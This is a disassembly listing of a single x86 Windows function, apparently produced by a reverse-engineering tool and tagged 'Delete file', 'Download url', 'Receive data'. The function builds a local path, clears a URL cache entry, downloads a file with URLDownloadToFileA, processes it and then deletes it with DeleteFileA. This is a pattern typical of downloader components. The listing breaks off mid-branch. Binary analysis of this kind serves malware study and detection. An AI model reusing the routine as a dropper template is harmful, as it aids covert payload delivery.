Function at 0x411f40
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffff004
push eax
add esp, 0xfffffe60
push ebx
push esi
push edi
mov dword [ebp - 0x184], eax
lea ebx, [ebp - 0x180]
mov edi, 0x4bb2cb
mov eax, 0x4bb94c
call fcn.004865d0
mov word [ebx + 0x10], 0x14
mov edx, edi
lea eax, [ebp - 4]
call fcn.00491ec0
inc dword [ebx + 0x1c]
mov edx, edi
mov word [ebx + 0x10], 8
mov word [ebx + 0x10], 0x20
lea eax, [ebp - 8]
call fcn.00491ec0
inc dword [ebx + 0x1c]
mov word [ebx + 0x10], 8
mov dword [ebp - 0x18c], 1
cmp dword [ebp - 0x18c], 0xf0
ja 0x411fc4
mov edx, dword [ebp - 0x18c]
mov dword [ebp - 0x188], edx
jmp 0x411fd6
mov ecx, dword [ebp - 0x18c]
sub ecx, 0xf0
mov dword [ebp - 0x188], ecx
mov word [ebx + 0x10], 0x2c
mov edx, edi
lea eax, [ebp - 0xc]
call fcn.00491ec0
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 0x18c], 0xf
jae 0x412020
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 8]
add edx, 0x30
call fcn.00492034
jmp 0x41204d
test byte [ebp - 0x18c], 1
jne 0x41203c
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 8]
add edx, 0x34
call fcn.00492034
jmp 0x41204d
mov edx, dword [ebp - 0x184]
lea eax, [ebp - 8]
add edx, 0x30
call fcn.00492034
mov word [ebx + 0x10], 0x38
mov edx, edi
lea eax, [ebp - 0x10]
call fcn.00491ec0
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.004920e8
push eax
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00492004
pop ecx
test cl, cl
jne 0x41335d
push edi
mov esi, 0x4ba2bc
lea edi, [ebp - 0x5a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
mov word [ebx + 0x10], 8
cmp dword [ebp - 8], 0
je 0x4120ad
mov eax, dword [ebp - 8]
mov esi, dword [eax - 4]
jmp 0x4120af
xor esi, esi
dec esi
test esi, esi
jbe 0x41218a
mov dword [ebp - 0x190], esi
mov eax, dword [ebp - 0x190]
push eax
lea edx, [ebp - 8]
push edx
call fcn.00491e3c
add esp, 8
lea eax, [ebp - 8]
call fcn.00492118
mov edx, dword [ebp - 0x190]
add edx, dword [ebp - 8]
dec edx
xor ecx, ecx
mov cl, byte [edx]
cmp ecx, 0x2f
je 0x412120
mov dword [ebp - 0x194], esi
mov eax, dword [ebp - 0x194]
push eax
lea edx, [ebp - 8]
push edx
call fcn.00491e3c
add esp, 8
lea eax, [ebp - 8]
call fcn.00492118
mov edx, dword [ebp - 0x194]
add edx, dword [ebp - 8]
dec edx
xor ecx, ecx
mov cl, byte [edx]
cmp ecx, 0x5c
jne 0x412181
push 0x400
xor eax, eax
mov word [ebx + 0x10], 0x44
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x14]
push edx
inc dword [ebx + 0x1c]
cmp dword [ebp - 8], 0
je 0x412145
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx - 4]
jmp 0x412147
xor ecx, ecx
lea edx, [esi + 1]
lea eax, [ebp - 8]
call fcn.00492170
cmp dword [ebp - 0x14], 0
je 0x41215d
mov eax, dword [ebp - 0x14]
jmp 0x41215f
mov eax, edi
push eax
lea edx, [ebp - 0x5a0]
push edx
call fcn.00417ef0
add esp, 0xc
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.00492004
jmp 0x41218a
dec esi
test esi, esi
ja 0x4120b8
mov ecx, dword [0x4ba6bd]
lea edx, [edi + 2]
mov dword [ebp - 0x1a0], ecx
mov ecx, dword [0x4ba6c1]
mov dword [ebp - 0x19c], ecx
mov cx, word [0x4ba6c5]
mov word [ebp - 0x198], cx
lea ecx, [ebp - 0x1a0]
mov word [ebx + 0x10], 8
mov eax, dword [ebp - 0x188]
push eax
push edx
push 0xa
push ecx
call fcn.00488dd0
add esp, 0x10
push edi
mov esi, 0x4ba6c8
lea edi, [ebp - 0x9a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
push 0x400
call fcn.00416720
push eax
lea eax, [ebp - 0x9a0]
push eax
call fcn.00417ef0
add esp, 0xc
push 0x400
lea edx, [ebp - 0x9a0]
push edx
call fcn.0041891c
add esp, 8
push 0x400
lea ecx, [ebp - 0x1a0]
push ecx
lea eax, [ebp - 0x9a0]
push eax
call fcn.00417f30
add esp, 0xc
push 0x400
lea edx, [ebp - 0x5a0]
push edx
lea ecx, [ebp - 0x9a0]
push ecx
call fcn.00417f30
add esp, 0xc
mov esi, 0x4baac9
mov ecx, 0x100
lea eax, [ebp - 0x9a0]
push edi
lea edi, [ebp - 0xda0]
rep movsd dword es:[edi], dword [esi]
pop edi
push 0x400
push eax
lea edx, [ebp - 0xda0]
push edx
call fcn.00417ef0
add esp, 0xc
push 0x400
lea ecx, [edi + 7]
push ecx
lea eax, [ebp - 0xda0]
push eax
call fcn.00417f30
add esp, 0xc
push 0x400
lea edx, [edi + 0x1c]
push edx
lea ecx, [ebp - 0xda0]
push ecx
call fcn.00417f30
add esp, 0xc
push 0x400
mov eax, dword [ebp - 0x184]
add eax, 0x38
cmp dword [eax], 0
je 0x4122c0
mov edx, dword [eax]
jmp 0x4122c2
mov edx, edi
push edx
lea eax, [ebp - 0xda0]
push eax
call fcn.00417f30
add esp, 0xc
cmp dword [ebp - 0x18c], 1
jne 0x4123a1
mov word [ebx + 0x10], 0x50
xor ecx, ecx
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0x18]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x1e]
call fcn.00492254
lea eax, [ebp - 0x18]
push eax
lea edx, [edi + 0x48]
lea eax, [ebp - 0x1c]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x20]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x1c]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x20]
xor edx, edx
mov dword [ebp - 0x24], edx
lea ecx, [ebp - 0x24]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.0049205c
lea edx, [ebp - 0x24]
lea eax, [ebp - 4]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x20]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x18]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 4], 0
je 0x412393
mov ecx, dword [ebp - 4]
jmp 0x412395
mov ecx, edi
push ecx
call fcn.004177f4
pop ecx
jmp 0x41246e
cmp dword [ebp - 0x18c], 0xf1
jne 0x41246e
mov word [ebx + 0x10], 0x5c
xor eax, eax
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x28]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x56]
call fcn.00492254
lea eax, [ebp - 0x28]
push eax
lea edx, [edi + 0x48]
lea eax, [ebp - 0x2c]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x30], ecx
lea ecx, [ebp - 0x30]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x2c]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x30]
xor edx, edx
mov dword [ebp - 0x34], edx
lea ecx, [ebp - 0x34]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.0049205c
lea edx, [ebp - 0x34]
lea eax, [ebp - 4]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x34]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x30]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x2c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x28]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 4], 0
je 0x412465
mov ecx, dword [ebp - 4]
jmp 0x412467
mov ecx, edi
push ecx
call fcn.004177f4
pop ecx
mov word [ebx + 0x10], 0x68
xor eax, eax
lea edx, [ebp - 0x70]
mov dword [ebp - 0x70], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00439a20
lea edx, [ebp - 0x70]
xor ecx, ecx
push edx
mov dword [ebp - 0x60], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x188]
call fcn.00439a20
lea ecx, [ebp - 0x60]
push ecx
xor eax, eax
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x38]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x7f]
call fcn.00492254
lea edx, [ebp - 0x38]
push edx
lea edx, [edi + 0x48]
lea eax, [ebp - 0x3c]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x40], eax
lea edx, [ebp - 0x3c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x40]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x40]
xor edx, edx
mov dword [ebp - 0x44], edx
lea ecx, [ebp - 0x44]
inc dword [ebx + 0x1c]
mov edx, dword [ebp - 0x184]
add edx, 0x38
call fcn.0049205c
lea eax, [ebp - 0x44]
push eax
lea edx, [edi + 0xa6]
lea eax, [ebp - 0x48]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x4c], eax
lea edx, [ebp - 0x48]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x4c]
pop eax
call fcn.0049205c
lea edx, [ebp - 0x4c]
push edx
lea edx, [ebp - 0x9a0]
lea eax, [ebp - 0x50]
call fcn.00491ec0
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x54], eax
lea ecx, [ebp - 0x54]
inc dword [ebx + 0x1c]
pop eax
call fcn.0049205c
lea edx, [ebp - 0x54]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x58]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x5c], eax
lea edx, [ebp - 0x58]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x5c]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x5c]
xor edx, edx
mov dword [ebp - 0x64], edx
lea ecx, [ebp - 0x64]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea eax, [ebp - 0x64]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x68]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x6c], eax
lea edx, [ebp - 0x68]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x6c]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x6c]
xor edx, edx
mov dword [ebp - 0x74], edx
lea ecx, [ebp - 0x74]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea edx, [ebp - 0x74]
lea eax, [ebp - 4]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x74]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x70]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x6c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x68]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x64]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x60]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x5c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x58]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x54]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x50]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x4c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x48]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x40]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x3c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x38]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 4], 0
je 0x4126e0
mov ecx, dword [ebp - 4]
jmp 0x4126e2
mov ecx, edi
push ecx
call fcn.004177f4
pop ecx
push edi
mov esi, 0x4baeca
lea edi, [ebp - 0x11a0]
mov ecx, 0x100
rep movsd dword es:[edi], dword [esi]
pop edi
mov word [ebx + 0x10], 8
push 0x400
cmp dword [ebp - 8], 0
je 0x412713
mov eax, dword [ebp - 8]
jmp 0x412715
mov eax, edi
push eax
lea edx, [ebp - 0x11a0]
push edx
call fcn.00417ef0
add esp, 0xc
lea ecx, [ebp - 0x11a0]
push ecx
call sub.WININET.DLL_DeleteUrlCacheEntry
push 0
push 0
lea eax, [ebp - 0x9a0]
push eax
lea edx, [ebp - 0x11a0]
push edx
push 0
call sub.URLMON.DLL_URLDownloadToFileA
mov esi, eax
test esi, esi
jne 0x412cb8
mov word [ebx + 0x10], 0x74
xor eax, eax
lea edx, [ebp - 0xb4]
mov dword [ebp - 0xb4], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00439a20
lea edx, [ebp - 0xb4]
xor ecx, ecx
push edx
mov dword [ebp - 0xa4], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xa4]
mov eax, dword [ebp - 0x188]
call fcn.00439a20
lea ecx, [ebp - 0xa4]
push ecx
xor eax, eax
mov dword [ebp - 0x78], eax
lea ecx, [ebp - 0x78]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0xc0]
call fcn.00492254
lea edx, [ebp - 0x78]
push edx
lea edx, [edi + 0xa6]
lea eax, [ebp - 0x7c]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x80], eax
lea edx, [ebp - 0x7c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x80]
pop eax
call fcn.0049205c
lea edx, [ebp - 0x80]
push edx
lea edx, [ebp - 0x9a0]
lea eax, [ebp - 0x84]
call fcn.00491ec0
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x88], eax
lea ecx, [ebp - 0x88]
inc dword [ebx + 0x1c]
pop eax
call fcn.0049205c
lea edx, [ebp - 0x88]
push edx
lea edx, [edi + 0xde]
lea eax, [ebp - 0x8c]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x90], eax
lea edx, [ebp - 0x8c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x90]
pop eax
call fcn.0049205c
lea edx, [ebp - 0x90]
push edx
lea ecx, [ebp - 0x9a0]
push ecx
call fcn.0041c794
pop ecx
mov edx, eax
lea eax, [ebp - 0x94]
call fcn.00491ec0
mov edx, eax
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x98], eax
lea ecx, [ebp - 0x98]
inc dword [ebx + 0x1c]
pop eax
call fcn.0049205c
lea edx, [ebp - 0x98]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x9c]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xa0], eax
lea edx, [ebp - 0x9c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xa0]
pop eax
call fcn.0049205c
lea eax, [ebp - 0xa0]
xor edx, edx
mov dword [ebp - 0xa8], edx
lea ecx, [ebp - 0xa8]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea eax, [ebp - 0xa8]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xac]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xb0], eax
lea edx, [ebp - 0xac]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xb0]
pop eax
call fcn.0049205c
lea eax, [ebp - 0xb0]
xor edx, edx
mov dword [ebp - 0xb8], edx
lea ecx, [ebp - 0xb8]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea edx, [ebp - 0xb8]
lea eax, [ebp - 4]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb8]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb4]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xb0]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xac]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa8]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa4]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xa0]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x9c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x98]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x94]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x90]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x8c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x88]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x84]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x80]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x7c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x78]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 4], 0
je 0x412a84
mov ecx, dword [ebp - 4]
jmp 0x412a86
mov ecx, edi
push ecx
call fcn.004177f4
pop ecx
xor eax, eax
mov word [ebx + 0x10], 0x80
mov dword [ebp - 0xdc], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xdc]
call fcn.00439a20
lea edx, [ebp - 0xdc]
xor ecx, ecx
push edx
mov dword [ebp - 0xcc], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xcc]
mov eax, dword [ebp - 0x188]
call fcn.00439a20
lea ecx, [ebp - 0xcc]
push ecx
lea edx, [ebp - 0xda0]
lea eax, [ebp - 0xbc]
call fcn.00491ec0
inc dword [ebx + 0x1c]
mov edx, eax
xor eax, eax
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0xc0], eax
lea eax, [edi + 0xe5]
inc dword [ebx + 0x1c]
call fcn.00492254
lea edx, [ebp - 0xc0]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0xc4]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xc8], eax
lea edx, [ebp - 0xc4]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xc8]
pop eax
call fcn.0049205c
lea eax, [ebp - 0xc8]
xor edx, edx
mov dword [ebp - 0xd0], edx
lea ecx, [ebp - 0xd0]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea eax, [ebp - 0xd0]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xd4]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xd8], eax
lea edx, [ebp - 0xd4]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xd8]
pop eax
call fcn.0049205c
lea eax, [ebp - 0xd8]
xor edx, edx
mov dword [ebp - 0xe0], edx
lea ecx, [ebp - 0xe0]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea edx, [ebp - 0xe0]
lea eax, [ebp - 4]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe0]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xdc]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xd0]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc8]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc4]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xc0]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xbc]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 4], 0
je 0x412c8b
mov ecx, dword [ebp - 4]
jmp 0x412c8d
mov ecx, edi
push ecx
call fcn.004177f4
pop ecx
push 1
push 1
lea eax, [ebp - 0xda0]
push eax
call fcn.004192c0
add esp, 0xc
lea edx, [ebp - 0x9a0]
push edx
call sub.KERNEL32.DLL_DeleteFileA
jmp 0x41335d
cmp esi, 0x8007000e
jne 0x412eaa
mov word [ebx + 0x10], 0x8c
xor eax, eax
lea edx, [ebp - 0x100]
mov dword [ebp - 0x100], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00439a20
lea edx, [ebp - 0x100]
xor ecx, ecx
push edx
mov dword [ebp - 0xf0], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0xf0]
mov eax, dword [ebp - 0x188]
call fcn.00439a20
lea ecx, [ebp - 0xf0]
push ecx
xor eax, eax
mov dword [ebp - 0xe4], eax
lea ecx, [ebp - 0xe4]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x103]
call fcn.00492254
lea edx, [ebp - 0xe4]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0xe8]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xec], eax
lea edx, [ebp - 0xe8]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xec]
pop eax
call fcn.0049205c
lea eax, [ebp - 0xec]
xor edx, edx
mov dword [ebp - 0xf4], edx
lea ecx, [ebp - 0xf4]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea eax, [ebp - 0xf4]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0xf8]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0xfc], eax
lea edx, [ebp - 0xf8]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0xfc]
pop eax
call fcn.0049205c
lea eax, [ebp - 0xfc]
xor edx, edx
mov dword [ebp - 0x104], edx
lea ecx, [ebp - 0x104]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea edx, [ebp - 0x104]
lea eax, [ebp - 4]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x104]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x100]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xfc]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf8]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf4]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xf0]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xec]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe8]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0xe4]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 4], 0
je 0x412e9c
mov ecx, dword [ebp - 4]
jmp 0x412e9e
mov ecx, edi
push ecx
call fcn.004177f4
pop ecx
jmp 0x41333d
cmp esi, 0x800c0008
jne 0x41309c
mov word [ebx + 0x10], 0x98
xor eax, eax
lea edx, [ebp - 0x124]
mov dword [ebp - 0x124], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00439a20
lea edx, [ebp - 0x124]
xor ecx, ecx
push edx
mov dword [ebp - 0x114], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x114]
mov eax, dword [ebp - 0x188]
call fcn.00439a20
lea ecx, [ebp - 0x114]
push ecx
xor eax, eax
mov dword [ebp - 0x108], eax
lea ecx, [ebp - 0x108]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x131]
call fcn.00492254
lea edx, [ebp - 0x108]
push edx
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x10c]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x110], eax
lea edx, [ebp - 0x10c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x110]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x110]
xor edx, edx
mov dword [ebp - 0x118], edx
lea ecx, [ebp - 0x118]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea eax, [ebp - 0x118]
push eax
lea edx, [edi + 0xbe]
lea eax, [ebp - 0x11c]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x120], eax
lea edx, [ebp - 0x11c]
inc dword [ebx + 0x1c]
lea ecx, [ebp - 0x120]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x120]
xor edx, edx
mov dword [ebp - 0x128], edx
lea ecx, [ebp - 0x128]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea edx, [ebp - 0x128]
lea eax, [ebp - 4]
call fcn.00492034
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x128]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x124]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x120]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x11c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x118]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x114]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x110]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.00492004
dec dword [ebx + 0x1c]
lea eax, [ebp - 0x108]
mov edx, 2
call fcn.00492004
cmp dword [ebp - 4], 0
je 0x41308e
mov ecx, dword [ebp - 4]
jmp 0x413090
mov ecx, edi
push ecx
call fcn.004177f4
pop ecx
jmp 0x41333d
mov word [ebx + 0x10], 0xa4
xor eax, eax
lea edx, [ebp - 0x158]
mov dword [ebp - 0x158], eax
mov eax, 0xf0
inc dword [ebx + 0x1c]
call fcn.00439a20
lea edx, [ebp - 0x158]
xor ecx, ecx
push edx
mov dword [ebp - 0x148], ecx
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x148]
mov eax, dword [ebp - 0x188]
call fcn.00439a20
lea ecx, [ebp - 0x148]
xor eax, eax
push ecx
mov dword [ebp - 0x138], eax
inc dword [ebx + 0x1c]
mov eax, esi
lea edx, [ebp - 0x138]
call fcn.00413390
lea edx, [ebp - 0x138]
push edx
xor ecx, ecx
mov dword [ebp - 0x12c], ecx
lea ecx, [ebp - 0x12c]
inc dword [ebx + 0x1c]
lea edx, [ebp - 8]
lea eax, [edi + 0x169]
call fcn.00492254
lea eax, [ebp - 0x12c]
push eax
lea edx, [edi + 0x191]
lea eax, [ebp - 0x130]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor ecx, ecx
mov dword [ebp - 0x134], ecx
lea ecx, [ebp - 0x134]
inc dword [ebx + 0x1c]
lea edx, [ebp - 0x130]
pop eax
call fcn.0049205c
lea eax, [ebp - 0x134]
xor edx, edx
mov dword [ebp - 0x13c], edx
lea ecx, [ebp - 0x13c]
inc dword [ebx + 0x1c]
pop edx
call fcn.0049205c
lea eax, [ebp - 0x13c]
push eax
lea edx, [edi + 0xb1]
lea eax, [ebp - 0x140]
call fcn.00491ec0
inc dword [ebx + 0x1c]
xor eax, eax
mov dword [ebp - 0x144], eax
lea edx, [ebp - 0x140]
inc dword [ebx + 0x1c]
